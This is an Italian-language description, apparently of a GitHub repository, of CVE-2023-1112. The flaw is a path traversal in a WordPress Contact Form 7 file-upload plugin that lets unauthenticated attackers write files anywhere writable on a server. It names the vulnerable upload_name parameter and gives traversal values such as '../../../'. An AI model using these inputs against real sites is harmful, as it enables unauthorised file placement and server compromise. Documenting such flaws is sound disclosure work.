nickguitar/drag-and-drop-multiple-file-uploader-pro-path-traversalDrag and Drop Multiple File Uploader PRO - Contact Form 7 v5.0.6.1 Attraversamento del percorso (CVE-2023-1112)
Path Traversal in Drag and Drop Multiple File Uploader PRO - Contact Form 7 versione 5.0.6.1 consente a un attaccante remoto non autenticato di caricare file in qualsiasi punto scrivibile sul server remoto (CVE-2023-1112).
Per sfruttare questa vulnerabilità, l'attaccante deve caricare un file utilizzando il modulo del plugin. In questa richiesta POST deve essere presente il parametro upload_name, il cui valore è il nome della cartella in cui verrà caricato il file. L'attaccante può inserire qualsiasi cosa desideri, come ../, ../../../, nomecartella (creerà la cartella "nomecartella" nella directory di upload), ecc.
